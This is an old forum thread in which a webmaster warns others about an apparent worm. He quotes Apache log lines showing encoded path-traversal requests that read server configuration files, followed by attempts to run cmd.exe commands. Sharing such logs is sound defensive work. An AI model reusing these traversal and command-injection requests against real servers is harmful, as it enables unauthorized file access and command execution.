Heads Up - something new I fear

External Since: Sep 12, 2003 Posts: 19

alutations:

I picked up something new in the logs today - turn word
wrap off this will be easier to read:

80.142.110.85 - - [10/Oct/2003:16:58:18 -0300] "GET /error/%5c%2e%2e%5clogs%5cinstall.log HTTP/1.1" 200 1029 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)"
80.142.110.85 - - [10/Oct/2003:16:58:21 -0300] "GET /error/%5c%2e%2e%5cconf%5chttpd.conf HTTP/1.1" 200 34590 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)"

This successfully read both relevant files and then proceeded
to attempt:

80.142.110.85 - - [10/Oct/2003:16:58:23 -0300] "GET /cgi-bin/%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5cwinnt%5csystem32%5ccmd.exe?/c+dir+c:>>c:\dir.txt HTTP/1.1" 301 430 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)"
80.142.110.85 - - [10/Oct/2003:16:58:23 -0300] "GET /cgi-bin/%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5cwinnt%5csystem32%5ccmd.exe?/c+dir+c:>>c:\dir.txt HTTP/1.1" 301 430 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)"
80.142.110.85 - - [10/Oct/2003:16:58:25 -0300] "GET /cgi-bin/%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5cwindows%5csystem32%5ccmd.exe?/c+dir+c:>>c:\dir.txt HTTP/1.1" 301 430 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)"

I had been working on a 'Return to Sender' scheme some time ago
so that the 301 codes are not successful on *my* machine - however
this has all the ear marks of being fairly serious worm for windows
apache installs.. Perhaps others as well - I'm not sure - I suppose
it depends on what it knows about the system involved..

Which is pretty much everything given what it calls in the first
two lines and responses with in the subsequent three.. I haven't
tried it on *nix yet - perhaps someone should..

I am not finding anything about it at google except a locked down
German Government security forum (probe IP traces to Germany) and
a couple of Log reports from .nl and .nu..

I've kicked this to Apache and CERT as a heads up - no word back from
anyone there (it's late Friday) - soooo - I'm not sure what else to do.

I'm using a 2.+ RedirectMatch & {REMOTE_ADDR} scheme here to handle
it - if you know how - I would strongly advise you do the same adding
whatever directories or files you want protected.

Cheers and good luck.. Hope I'm wrong - not sure I am..

--

J Dexter - webmaster - http://www.dexterdyne.org/
all tunes - no cookies no subscription no weather no ads
no news no phone in - RealAudio 8+ Required - all the Time

Radio Free Dexterdyne Top Tune o'be-do-da-day
Louis Prima Keely Smith - Hey Boy Hey Girl
http://www.dexterdyne.org/888/146.RAM

External Since: Sep 26, 2003 Posts: 407

In article <3F87688F.7601B72.TakeThisOut@lamelamelame.org>,
lamealameadingdong.TakeThisOut@lamelamelame.org says...
<snip>
> --
>
<font color=purple> > J Dexter - webmaster - <a style='text-decoration: underline;' href="http://www.dexterdyne.org/</font" target="_blank">http://www.dexterdyne.org/</font</a>>
> all tunes - no cookies no subscription no weather no ads
> no news no phone in - RealAudio 8+ Required - all the Time
>
> Radio Free Dexterdyne Top Tune o'be-do-da-day
> Louis Prima Keely Smith - Hey Boy Hey Girl
<font color=purple> > <a style='text-decoration: underline;' href="http://www.dexterdyne.org/888/146.RAM</font" target="_blank">http://www.dexterdyne.org/888/146.RAM</font</a>>
>

Totally unrelated but ... your site claims I need RealAudio 8 or free G2
to hear the stations. Lots of us hate RealAudio because of the
resources it eats so you might like to ammend your comments to include
Real Alternative as a player option. It's free and plays all those
nasty RAs and RAMs ... and it's FAST. <a style='text-decoration: underline;' href="http://doa2.host.sk/index.htm" target="_blank">http://doa2.host.sk/index.htm</a>
(Downloads ... Real Alternative)

Judy